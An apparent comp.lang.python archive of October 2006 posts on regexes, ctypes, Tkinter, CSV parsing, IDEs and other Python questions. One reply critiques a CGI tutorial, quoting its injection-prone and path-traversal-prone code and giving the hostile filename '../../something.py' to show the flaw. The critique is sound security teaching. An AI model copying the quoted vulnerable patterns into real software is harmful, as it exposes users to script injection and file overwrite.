From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 1 Oct 2006 08:24:40 GMT Subject: builtin regular expressions? References: <451e37a5$1@news.vo.lu> Message-ID: On Sat, 30 Sep 2006 20:01:57 +0100, Thorsten Kampe wrote: ... > > It's originally from Jamie Zawinski: > 'Some people, when confronted with a problem, think "I know, I'll use > regular expressions." Now they have two problems.' > > And the simple reason why Regular Expressions are not a part of the > core Python language is that Regular Expressions are overrated. It seems to me they are currently /underrated/ in the Python community. Or, I suspect, everybody disrespects them in public but secretly use them when they're hacking ;-) > They are simply not the preferred tool for every kind of text manipulation > and extraction. Oh yes, agreed there. str.split, str.startswith, substr in str ... take you a long way without a single backslash. I use them more frequently these days; for example, I would have solved the original poster's problem in that way. However, there is a set of common problems which would be hell to solve without regexes. I used to do that stuff in C when I was young and stupid; now would never go back to hand-coded, buggy loops just for the sake of avoiding regexes. Possibly I have more need of regexes than some others, because I do a lot of traditional Unix programming, which is heavy on text processing and text-based mini-languages. /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From horpner at yahoo.com Thu Oct 26 07:44:49 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Thu, 26 Oct 2006 11:44:49 GMT Subject: The format of filename References: Message-ID: On 2006-10-26, Fredrik Lundh wrote: > Neil Cerutti wrote: >> Seriously, experiments show the forward slash is OK as a >> seperator, it just can't be root. > > do you think you can figure out why, even without reading the > various MSDN pages you've been pointed to ? Too late. Plus somebody else already pointed it out: command line arguments. -- Neil Cerutti From oliver.andrich at gmail.com Tue Oct 3 10:10:52 2006 From: oliver.andrich at gmail.com (Oliver Andrich) Date: Tue, 3 Oct 2006 16:10:52 +0200 Subject: Ctypes and freeing memory In-Reply-To: <4866bea60610030648u3a02c0c3k7c25e6c0e15f37c6@mail.gmail.com> References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com> <4866bea60610030648u3a02c0c3k7c25e6c0e15f37c6@mail.gmail.com> Message-ID: <6f7b52d0610030710i4d0b6b9fydf71c21d250867c4@mail.gmail.com> On 10/3/06, Chris Mellon wrote: > Not a ctypes expert but I can pretty much guaranteee that Python won't > correctly release that memory by itself. Are you sure that description > is actually a string object? I also think, that Python won't release the memory, and the returned string isn't helpful either. :) > If it doesn't, then you can use a more literal translation of the C > code, and use a c_void_p instead, using ctypes.string_at(description) > to get a string out of the buffer. This works and is a great tip! Thanks a lot. Best regards, Oliver -- Oliver Andrich --- http://roughbook.de/ From MrJean1 at gmail.com Fri Oct 6 17:18:45 2006 From: MrJean1 at gmail.com (MrJean1) Date: 6 Oct 2006 14:18:45 -0700 Subject: Dumping the state of a deadlocked process In-Reply-To: <1160164771.210372.141120@h48g2000cwc.googlegroups.com> References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com> Message-ID: <1160169525.373389.207990@c28g2000cwb.googlegroups.com> Did you try using the signal module? If not, a basic example is here which may need to be extended. /Jean Brouwers andre.naess at gmail.com wrote: > Hi all > > I'm currently having some issues with a process getting deadlocked. The > problem is that the only way I can seem to find information about where > it deadlocks is by making a wild guess, insert a pdb.set_trace() before > this point, and then step until it locks up, hoping that I've guessed > right. > > The frustrating part is that most of the time my guesses are wrong. > > It would be really nice if I could send the python process some signal > which would cause it to print the current stacktrace and exit > immediately. That way I would quickly be able to pinpoint where in the > code the deadlock happens. Java has a somewhat similar feature where > you can send a running VM process a SIGQUIT, to which it will respond > by dumping all current threads and lots of other information on stdout. > > Is this possible somehow? From maxerickson at gmail.com Sun Oct 15 00:14:21 2006 From: maxerickson at gmail.com (Max Erickson) Date: Sun, 15 Oct 2006 04:14:21 +0000 (UTC) Subject: problem with the 'math' module in 2.5? References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> Message-ID: Max Erickson wrote: > > Try sin(pi*0.5) to see similar behavior to cos(pi) or cos(pi*2). > Uhh, switch that, cos(pi*0.5)... From mbutscher at gmx.de Sun Oct 22 07:20:35 2006 From: mbutscher at gmx.de (Michael Butscher) Date: Sun, 22 Oct 2006 13:20:35 +0200 Subject: Py 2.5: Bug in sgmllib Message-ID: <453b5421$0$5717$9b4e6d93@newsspool3.arcor-online.net> Hi, if I execute the following two lines in Python 2.5 (to feed in a *unicode* string): import sgmllib sgmllib.SGMLParser().feed(u'') I get the exception: Traceback (most recent call last): File "", line 1, in sgmllib.SGMLParser().feed(u'') File "C:\Programme\Python25\Lib\sgmllib.py", line 99, in feed self.goahead(0) File "C:\Programme\Python25\Lib\sgmllib.py", line 133, in goahead k = self.parse_starttag(i) File "C:\Programme\Python25\Lib\sgmllib.py", line 285, in parse_starttag self._convert_ref, attrvalue) UnicodeDecodeError: 'ascii' codec can't decode byte 0xdf in position 0: ordinal not in range(128) The reason is that the character reference ß is converted to *byte* string "\xdf" by SGMLParser.convert_codepoint. Adding this byte string to the remaining unicode string fails. Workaround (not thoroughly tested): Override convert_codepoint in a derived class with: def convert_codepoint(self, codepoint): return unichr(codepoint) Is this a bug or is SGMLParser not meant to be used for unicode strings (it should be documented then)? Michael From fredrik at pythonware.com Sun Oct 8 06:15:51 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 12:15:51 +0200 Subject: need some regular expression help In-Reply-To: <1160302110.502512.152280@i42g2000cwa.googlegroups.com> References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> <1160302110.502512.152280@i42g2000cwa.googlegroups.com> Message-ID: bearophileHUGS at lycos.com wrote: > The dict solution looks better, but this may be faster: it's slightly faster, but both your alternatives are about 10x slower than a straightforward: def balanced(txt): return txt.count("(") == txt.count(")") From gh at gregor-horvath.com Sat Oct 21 07:40:06 2006 From: gh at gregor-horvath.com (Gregor Horvath) Date: Sat, 21 Oct 2006 13:40:06 +0200 Subject: The fastest search In-Reply-To: References: Message-ID: Fulvio schrieb: > > Is there some trick to apply the best search in wise use of resources while > using the above said methods? > measure it: http://docs.python.org/lib/module-timeit.html Regarding your debugger question in the seperate thread I don't know since I am not using a debugger at all. Most people coming from other languages are looking for a debugger and are overlooking that in python a interactive interpreter, a good editor, print statements and the tracebacks are all a lot of python developers need. Small snippets of code are developed in the interpreter and when they are working assembled in the editor. If something goes wrong a print on the suspect place or the traceback is all I need. (of course this is matter of taste) -- Servus, Gregor From mail at microcorp.co.za Tue Oct 31 08:53:29 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Tue, 31 Oct 2006 15:53:29 +0200 Subject: Tkinter Listbox string formatting question - how to kill a dancingsnake ? References: <02a901c6fcbf$181c51a0$03000080@hendrik> Message-ID: <009d01c6fcf6$75782400$03000080@hendrik> "Fredrik Lundh" wrote: > instead of trying to force the listbox to behave like a multicolumn > widget, maybe you could switch to another widget? some alternatives include > > a Text widget (you have to roll your own selection logic) I _really_ don't feel strong enough for this, or for sticking them loose on a canvas... > bwidgets multicolumn ListBox: > http://tkinter.unpythonic.net/bwidget/ > tktable: > http://tktable.sourceforge.net/ > something based on the wck (that's what I'd would use myself): > http://effbot.org/zone/wck-4.htm > and perhaps there's something in Pmw: > http://pmw.sourceforge.net > Thanks I will check these out... - Hendrik From bballis at gmail.com Tue Oct 3 08:06:10 2006 From: bballis at gmail.com (Bertrand Ballis) Date: Tue, 3 Oct 2006 14:06:10 +0200 Subject: was python implemented as a object oriented langage at the beginning ? Message-ID: Hello, I heard a lot of people from the Ruby community claiming that Python, like Perl, was a scripting langage that was changed aftewards to be object compatible, and that was making it not as good as Ruby, object-oriented from the begenning. Is that true ? Thanks for your answers Bertrand -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve at holdenweb.com Sat Oct 7 03:06:29 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 07 Oct 2006 08:06:29 +0100 Subject: humble coin head or tail game script I wrote In-Reply-To: <1160197715.045939.138760@b28g2000cwb.googlegroups.com> References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> <1160158803.404425.316430@h48g2000cwc.googlegroups.com> <1160159206.781049.24930@c28g2000cwb.googlegroups.com> <1160168295.033649.163460@k70g2000cwa.googlegroups.com> <1160197715.045939.138760@b28g2000cwb.googlegroups.com> Message-ID: Camellia wrote: > Oh I get it and ashamed, thank you for explaining it to me:) > > so I sould: > ini_guess=random.randrange(2) > .... > for item in list: > if item=='h': > ... > if item ==t': > ... > Welcome to programming. You have learned, as many thousands have learned before you, how easy it is to assume correct behaviour in something that is, in fact, wrong. Those with an aptitude for the task accept with humility (no need for shame, though, as inexperience is a valid excuse) that they will continue to make errors they do not see. Your response to the corrections you received implies you have a future as a programmer! You might also want to do some reading about test-driven development, which can save some time hunting obscure bugs. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From t-meyer at ihug.co.nz Sun Oct 22 04:30:26 2006 From: t-meyer at ihug.co.nz (Tony Meyer) Date: Sun, 22 Oct 2006 21:30:26 +1300 Subject: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: References: <453af89e$0$12734$9b622d9e@news.freenet.de> Message-ID: <9F423D5F-D0EA-4DF8-81E3-A1006648DC54@ihug.co.nz> > At the moment SourceForge is only listing one (UK) mirror for > mingw, and > that seems to be down. I'm guessing something is broken, since I > know it > used to be much more widely available. Only one mirror (Kent) is available for any project. It's been like this for nearly a day now, although the site status still hasn't changed from "online". There are about 50 open tickets open about it (one would think that people that are able to find the sf.net tickets would be able to check for duplicates first...). =Tony.Meyer From kw at kevin-walzer.com Fri Oct 20 09:21:13 2006 From: kw at kevin-walzer.com (Kevin Walzer) Date: Fri, 20 Oct 2006 09:21:13 -0400 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> Message-ID: <4538CD49.5030202@kevin-walzer.com> James Stroud wrote: > Also, look at my modest program at passerby.sf.net. > Not so sophisticated, but not completely simple either. > I did look at passerby--a nice app, and in a native Mac OS X version also! (I'm a Mac developer.) Thanks for the pointer. -- Kevin Walzer Poetic Code http://www.kevin-walzer.com From steve at holdenweb.com Tue Oct 24 20:05:17 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 01:05:17 +0100 Subject: strange problem In-Reply-To: References: Message-ID: ken wrote: > This file has 1,000,000+ lines in it, yet when I print the counter 'cin' > at EOF I get around 10,000 less lines. Any ideas? > > lineIn = > csv.reader(file("rits_feed\\rits_feed_US.csv",'rb'),delimiter='|') > for emp in lineIn: > cin=cin+1 > print cin My psychic powers indicate that double-quotes in the data are the most likely source of your problem. You may need to extract some statistics from the data to find out what's going on without examining each record individually. Like, for example, longest field-length for each column. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From martin at v.loewis.de Wed Oct 25 07:28:18 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 25 Oct 2006 13:28:18 +0200 Subject: unsigned 32 bit arithmetic type? In-Reply-To: References: Message-ID: <453F4A52.3050200@v.loewis.de> Robin Becker schrieb: > Hi, just trying to avoid wheel reinvention. I have need of an unsigned > 32 bit arithmetic type to carry out a checksum operation and wondered if > anyone had already defined such a beast. > > Our current code works with 32 bit cpu's, but is failing with 64 bit > comparisons; it's clearly wrong as we are comparing a number with a > negated number; the bits might drop off in 32 bits, but not in 64. Not sure what operations you are doing: In Python, bits never drop off (at least not in recent versions). If you need to drop bits, you need to do so explicitly, by using the bit mask operations. I could tell you more if you'd tell us what the specific operations are. Regards, Martin From bj_666 at gmx.net Thu Oct 19 12:33:25 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Thu, 19 Oct 2006 18:33:25 +0200 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> <1161252764.244873.134740@f16g2000cwb.googlegroups.com> <2m8k04-gfe.ln1@nb2.stroeder.com> Message-ID: In , Neil Cerutti wrote: >> Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode >> object. With print this is implicitly converted to string. The >> char set used depends on your console > > No, the setting of the console encoding (sys.stdout.encoding) is > ignored. Nope, it is not ignored. This would not work then:: In [2]: print 'K\xc3\xb6nig'.decode('utf-8') K?nig In [3]: import sys In [4]: sys.getdefaultencoding() Out[4]: 'ascii' Ciao, Marc 'BlackJack' Rintsch From grflanagan at yahoo.co.uk Tue Oct 17 12:43:12 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 17 Oct 2006 09:43:12 -0700 Subject: A question about list In-Reply-To: <1161102973.920895.141500@i42g2000cwa.googlegroups.com> References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com> Message-ID: <1161103392.096112.82110@m7g2000cwm.googlegroups.com> pretoriano_2001 at hotmail.com wrote: > Hello: > Variable 'a' has the next values: > [[1,1],[2,2]] > and I want to take a to b as: > [[1,1,'='],[2,2,'=']] > How can I do this with only one line of instruction? > Thanks!! >>> a = [[1,1], [2,2]] >>> map( lambda x: x + ['='], a ) [[1, 1, '='], [2, 2, '=']] >>> From paul at boddie.org.uk Tue Oct 17 07:33:43 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 17 Oct 2006 04:33:43 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> <1160811657.449049.78940@m73g2000cwd.googlegroups.com> <1160843099.978973.235560@k70g2000cwa.googlegroups.com> Message-ID: <1161084823.907784.179150@b28g2000cwb.googlegroups.com> Theerasak Photha skrev: > On 14 Oct 2006 09:25:00 -0700, Paul Boddie wrote: > > > Unlike Java, Python's first class functions and > > methods are already highly useful for callback-based systems > > Curious: how well does the use of returning inner functions work as a > strategy for providing effectively 'anonymous' callbacks? e.g. > > def outer(x): > def inner(y): > ... > return inner Well enough, I'd imagine. There may be people who resent having to use a statement to create a block of code, especially one which defines a local name (the horror!), but as the lambda replacement discussions showed, a sub-statement code block doesn't necessarily have an acceptable formulation in non-Lisp-like languages. Or, at least, people struggled to find such a formulation in Python which didn't severely affect readability, and there are people who regard even uncontroversial but related things as list comprehensions as being much less readable than most other constructs in the language. Paul From alan.franzoni.xyz at gmail.com.invalid Tue Oct 24 08:22:15 2006 From: alan.franzoni.xyz at gmail.com.invalid (Alan Franzoni) Date: Tue, 24 Oct 2006 14:22:15 +0200 Subject: Change on file References: Message-ID: <1uzfymw6npgtq$.i9somy6b4b3o$.dlg@40tude.net> Il Tue, 24 Oct 2006 19:47:43 +0800, Fulvio ha scritto: > Hello, > > I was thinking about use md5 check to se if a file had changes since last > check. Am I correct? > Is there any other light method? It's OK, but if you have a lot of files to check and they're large, and changes frequent, it could put the system under severe workload. If you just need to know if a file has changed, you can check via date/time, or if you don't trust somebody who's got access to it (because he could have manually altered the datetime) you could go for a simpler algorithm, like sfv. -- Alan Franzoni - Togli .xyz dalla mia email per contattarmi. Remove .xyz from my address in order to contact me. - GPG Key Fingerprint (Key ID = FE068F3E): 5C77 9DC3 BD5B 3A28 E7BC 921A 0255 42AA FE06 8F3E From larry.bates at websafe.com Mon Oct 23 15:23:02 2006 From: larry.bates at websafe.com (Larry Bates) Date: Mon, 23 Oct 2006 14:23:02 -0500 Subject: _winreg.saveKey question In-Reply-To: <1161630512.093547.287390@f16g2000cwb.googlegroups.com> References: <1161630512.093547.287390@f16g2000cwb.googlegroups.com> Message-ID: <453D1696.1050703@websafe.com> > remotekey = _winreg.OpenKey(rhostreg, key) Try adding the sam=_winreg.KEY_SET_VALUE parameter. Help on built-in function OpenKey in module _winreg: OpenKey(...) key = OpenKey(key, sub_key, res = 0, sam = KEY_READ) - Opens the specified key. key is an already open key, or any one of the predefined HKEY_* constants. sub_key is a string that identifies the sub_key to open res is a reserved integer, and must be zero. Default is zero. sam is an integer that specifies an access mask that describes the desired security access for the key. Default is KEY_READ The result is a new handle to the specified key If the function fails, an EnvironmentError exception is raised. The default is KEY_READ so you can't update. -Larry Bates From aahz at pythoncraft.com Sat Oct 7 15:26:22 2006 From: aahz at pythoncraft.com (Aahz) Date: 7 Oct 2006 12:26:22 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45254B18.2090806@v.loewis.de> Message-ID: In article <0BQVg.138807$zy5.1859480 at twister1.libero.it>, Giovanni Bajo wrote: > >Are you ever going to try and make a point which is not "you are not >entitled to have opinions because you do not act"? Your sarcasm is >getting annoying. And since I'm not trolling nor flaming, I think I >deserve a little bit more of respect. IMO, regardless of whether you are trolling or flaming, you are certainly being disrespectful. Why should we treat you with any more respect than you give others? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From jcd at sdf.lonestar.org Wed Oct 25 14:46:34 2006 From: jcd at sdf.lonestar.org (J. Clifford Dyer) Date: Wed, 25 Oct 2006 12:46:34 -0600 Subject: Sorting by item_in_another_list References: <7x1woypbe1.fsf@ruckus.brouhaha.com> Message-ID: Right you are. I was a bit hasty. Many thanks. Cliff Paul McGuire wrote: > > From the original post: > > "I have two lists, A and B, such that B is a subset of A." > From Laundro at gmail.com Tue Oct 31 10:38:50 2006 From: Laundro at gmail.com (LaundroMat) Date: 31 Oct 2006 07:38:50 -0800 Subject: Help me understand this iterator In-Reply-To: References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com> <1162306091.528097.86850@e3g2000cwe.googlegroups.com> Message-ID: <1162309130.723961.62330@k70g2000cwa.googlegroups.com> On Oct 31, 3:53 pm, Fredrik Lundh wrote: > LaundroMat wrote: > > That 'magic index' variable bugs me a little however. It gives me the > > same feeling as when I see hard-coded variables.what magic index? the variable named "index" is an argument to the > method it's used in. Yes, I reacted too quickly. Sorry. From pandyacus.xspam at xspam.sbcglobal.net Thu Oct 26 03:38:07 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Thu, 26 Oct 2006 07:38:07 GMT Subject: To remove some lines from a file References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> Message-ID: Sebastian Busch writes: > Steve Holden wrote: >> Sebastian Busch wrote: >>> umut.tabak at student.kuleuven.be wrote: >>>> ... I would like to remove two lines from a file. ... >>> ... grep -v ... >> ... show ... > > grep -v "`grep -v "commentsymbol" yourfile | head -2`" yourfile > > > i frankly admit that there is also 'head' invoved ;) > > i really have no idea -- but i always thought that these coreutils and > colleagues do their jobs as fast as possible, in particular faster than > interpreted languages... however, as i posted last time, i was actually > not aware that you have to call three of them. > > sebastian. I don't have the original post to know exactly what is needed, but looks like something that can be done by a single sed script. -Chetan From hanumizzle at gmail.com Fri Oct 13 11:58:16 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 11:58:16 -0400 Subject: IDE In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it> References: <4zOXg.1918$uv5.11354@twister1.libero.it> Message-ID: <463ff4860610130858y780c9870x57a845de4ac49e91@mail.gmail.com> On 10/13/06, giuseppe wrote: > What is the better IDE software for python programming? Long story short, I use Emacs 22 from CVS (text editor on steroids), but SPE looks like a good bet. It all depends on criteria! There's a million free variables in your request... --- Theerasak From and-google at doxdesk.com Thu Oct 5 14:00:57 2006 From: and-google at doxdesk.com (and-google at doxdesk.com) Date: 5 Oct 2006 11:00:57 -0700 Subject: CGI Tutorial References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> Message-ID: <1160071257.200774.90900@e3g2000cwe.googlegroups.com> Clodoaldo Pinto Neto wrote: > print '

The submited name was "' + name + '"

' Bzzt! Script injection security hole. See cgi.escape and use it (or a similar function) for *all* text -> HTML output. > open('files/' + fileitem.filename, 'w') BZZZZZZT. filesystem overwriting security hole, possibly escalatable to code execution. clue: fileitem.filename= '../../something.py' > sid = cookie['sid'].value > session = shelve.open('/tmp/.session/sess_' + sid Bad filename use allows choice of non-session files, opening with shelve allows all sorts of pickle weirdnesses. Just use strings. > p = sub.Popen(str_command, o.O Sure this stuff may not matter for Hello World on a test server, but if you're writing a tutorial you should ensure newbies know the Right Way to do it from the start. The proliferation of security-oblivious PHP tutorials is directly responsible for the disasterous amount of script-injection- and SQL-injection-vulnerable webapps out there - let's not have the same for Python. -- And Clover mailto:and at doxdesk.com http://www.doxdesk.com/ From geskerrett at hotmail.com Tue Oct 17 15:04:56 2006 From: geskerrett at hotmail.com (geskerrett at hotmail.com) Date: 17 Oct 2006 12:04:56 -0700 Subject: ADO with Python In-Reply-To: <4pi94uFip1e9U1@individual.net> References: <4pi94uFip1e9U1@individual.net> Message-ID: <1161111896.597454.11720@m7g2000cwm.googlegroups.com> Ralf wrote: > Is their anybody with xperience in using the both and can provide me with > some xamples. > > Thx a lot > Ralf I found the tutorial on this site helpful. http://www.mayukhbose.com/python/ado/index.php From PengYu.UT at gmail.com Tue Oct 24 21:13:04 2006 From: PengYu.UT at gmail.com (PengYu.UT at gmail.com) Date: 24 Oct 2006 18:13:04 -0700 Subject: How to find out the directory that the py file is in? In-Reply-To: References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com> Message-ID: <1161738784.293256.113900@m73g2000cwd.googlegroups.com> On Oct 24, 7:01 pm, Gabriel Genellina wrote: > At Tuesday 24/10/2006 20:39, PengYu... at gmail.com wrote: > > >I have the following python script and some_command in the same > >directory. I have to call the python script from that directory. > >Otherwise, some_command won't be found. I'm wondering how to make the > >following script working no matter what the working directory is.print > os.path.abspath(__file__) How to get the absolute dir name which the file is in? Is there any function can be called easily? Thanks, Peng From demian0311 at gmail.com Wed Oct 25 21:01:31 2006 From: demian0311 at gmail.com (demian0311 at gmail.com) Date: 25 Oct 2006 18:01:31 -0700 Subject: What's the best IDE? In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Message-ID: <1161824491.759664.271570@f16g2000cwb.googlegroups.com> > What's your favorite IDE? Vim > What do you like about it? If you are a very good typist you can rock with Vim. Vi and variants are on _every_ Unix system. It's highly configurable, syntax highlighting, supports scripting with Python. > It would be fine for a begginer, right? Not really, you'll be frustrated for about a week, you'll be productive after that, from then on you'll keep on learning new things all the time. From sanzhiyan at gmail.com Mon Oct 16 15:29:45 2006 From: sanzhiyan at gmail.com (Saizan) Date: 16 Oct 2006 12:29:45 -0700 Subject: Need a strange sort method... In-Reply-To: <1161025963.350716.57900@i42g2000cwa.googlegroups.com> References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> <1161025963.350716.57900@i42g2000cwa.googlegroups.com> Message-ID: <1161026985.618592.318630@k70g2000cwa.googlegroups.com> SpreadTooThin wrote: > > that's trivial to do with slicing, of course. what makes you think you > > need to do this by calling the "sort" method ? > > > > > > You are of course correct.. There might be a way to do this with > slicing > and i % 3 Slicing will work only with a sorted list. From hanumizzle at gmail.com Wed Oct 11 01:53:38 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 01:53:38 -0400 Subject: sufficiently pythonic code for testing type of function In-Reply-To: <87vemr76fu.fsf@benfinney.id.au> References: <463ff4860610102206y2d159ad9u6947c72c2f0d573a@mail.gmail.com> <87vemr76fu.fsf@benfinney.id.au> Message-ID: <463ff4860610102253l79c94092q398746105cabf145@mail.gmail.com> On 10/11/06, Ben Finney wrote: > Why have you re-implemented (a less-functional version of) 'isinstance'? Ignorance, I think. But the issue is resolved now. Thank you. http://www.stanford.edu/~spqrsyc/crew/crew%20-%20ignorance.gif "It's amazing how much easier it is for a team to work together when no one has any idea where they're going" :) -- Theerasak From sybrenUSE at YOURthirdtower.com.imagination Mon Oct 2 12:58:03 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Mon, 2 Oct 2006 18:58:03 +0200 Subject: Pythonic API design: detailed errors when you usually don't care References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com> Message-ID: Simon Willison enlightened us with: > try: > do_something() > except HttpError: > # An HTTP error occurred > except ApplicationError: > # An application error occurred > else: > # It worked! > > This does the job fine, but has a couple of problems. > I anticipate that most people using my function won't care about the > reason; they'll just want a True or False answer. Then they can use an except clause that catches the superclass of all the possible exceptions your function raises. > Their ideal API would look like this: > > if do_something(): > # It succeeded > else: > # It failed This is the C way of doing things. The problem with relying on a return value, is that failure could go unnoticed if the value isn't checked. This might introduce nasty bugs. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From fredrik at pythonware.com Thu Oct 5 05:58:05 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 5 Oct 2006 11:58:05 +0200 Subject: embedding python -- windows specify problems References: <4524cda2$1@clarion.carno.net.au> Message-ID: > the contents and the layout of the FILE structure isn't defined "isn't standardized", that is. From gagsl-py at yahoo.com.ar Wed Oct 18 18:55:45 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 18 Oct 2006 19:55:45 -0300 Subject: Flexable Collating (feedback please) In-Reply-To: <35kZg.6681$fl.2685@dukeread08> References: <35kZg.6681$fl.2685@dukeread08> Message-ID: <7.0.1.0.0.20061018192254.056e6a60@yahoo.com.ar> At Wednesday 18/10/2006 03:42, Ron Adam wrote: >I put together the following module today and would like some feedback on any >obvious problems. Or even opinions of weather or not it is a good approach. > if self.flag & CAPS_FIRST: > s = s.swapcase() This is just coincidental; it relies on (lowercase)<(uppercase) on the locale collating sequence, and I don't see why it should be always so. > if self.flag & IGNORE_LEADING_WS: > s = s.strip() This ignores trailing ws too. (lstrip?) > if self.flag & NUMERICAL: > if self.flag & COMMA_IN_NUMERALS: > rex = > re.compile('^(\d*\,?\d*\.?\d*)(\D*)(\d*\,?\d*\.?\d*)', >re.LOCALE) > else: > rex = re.compile('^(\d*\.?\d*)(\D*)(\d*\.?\d*)', re.LOCALE) > slist = rex.split(s) > for i, x in enumerate(slist): > if self.flag & COMMA_IN_NUMERALS: > x = x.replace(',', '') > try: > slist[i] = float(x) > except: > slist[i] = locale.strxfrm(x) > return slist > return locale.strxfrm(s) You should try to make this part a bit more generic. If you are concerned about locales, do not use "comma" explicitely. In other countries 10*100=1.000 - and 1,234 is a fraction between 1 and 2. > The NUMERICAL option orders leading and trailing digits as numerals. > > >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2'] > >>> collated(t, NUMERICAL) > ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2'] From the name "NUMERICAL" I would expect this sorting: b2, 4abc, a5, a10.2, 13.5b, 20abc, a40 (that is, sorting as numbers only). Maybe GROUP_NUMBERS... but I dont like that too much either... -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From aum at spam.me.please Sat Oct 7 17:16:05 2006 From: aum at spam.me.please (aum) Date: Sun, 08 Oct 2006 10:16:05 +1300 Subject: ANN: SimpleJSONRPCServer Message-ID: Hi, I've built a module called SimpleJSONRPCServer, which is essentially the same as the familiar python library module SimpleXMLRPCServer, except that it uses the JSON-RPC protocol. For those unfamiliar with JSON-RPC - see www.json-rpc.org - it's an alternative to XML-RPC, offering most of its capabilities, but using far less traffic and requiring less processing time on the server and client. For more information, downloads and a live demo, visit: http://www.freenet.org.nz/dojo/pyjson If any Python honchos here want to raise a PEP for it, I'd support that fully. Cheers aum From gabrielg_laburando at yahoo.com.ar Mon Oct 2 19:05:37 2006 From: gabrielg_laburando at yahoo.com.ar (Gabriel G) Date: Mon, 02 Oct 2006 20:05:37 -0300 Subject: where the extra space comes from on the stdout In-Reply-To: References: Message-ID: <7.0.1.0.0.20061002200417.07335898@yahoo.com.ar> At Saturday 30/9/2006 19:09, Steve Holden wrote: > > while 1: > > print 'Question [Y/[N]]?', > > if sys.stdin.readline().strip() in ('Y','y'): > > #do something > > pass > > > > $ python q.py > > Question [Y/[N]]?y > > Question [Y/[N]]?y > > Question [Y/[N]]?y > > >Yup. When you execute a print statement with a comma at the end it >doesn't output the space, it simply sets a flag reminding it that there >should be a space before the next item on the same line. If the next >character out is a newline then the space flag is reset, but in this >case the newline was provided by the input, so you get a space at the >start of the next output. You could try using print '\rQuestion?', Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From rdh at new.rr.com Thu Oct 26 17:27:11 2006 From: rdh at new.rr.com (DataSmash) Date: 26 Oct 2006 14:27:11 -0700 Subject: Search & Replace Message-ID: <1161898031.481159.202310@f16g2000cwb.googlegroups.com> Hello, I need to search and replace 4 words in a text file. Below is my attempt at it, but this code appends a copy of the text file within itself 4 times. Can someone help me out. Thanks! # Search & Replace file = open("text.txt", "r") text = file.read() file.close() file = open("text.txt", "w") file.write(text.replace("Left_RefAddr", "FromLeft")) file.write(text.replace("Left_NonRefAddr", "ToLeft")) file.write(text.replace("Right_RefAddr", "FromRight")) file.write(text.replace("Right_NonRefAddr", "ToRight")) file.close() From jcoleman at franciscan.edu Wed Oct 25 17:47:07 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 25 Oct 2006 14:47:07 -0700 Subject: question about True values In-Reply-To: <453FD3AF.4040800@v.loewis.de> References: <7x4ptsi544.fsf@ruckus.brouhaha.com> 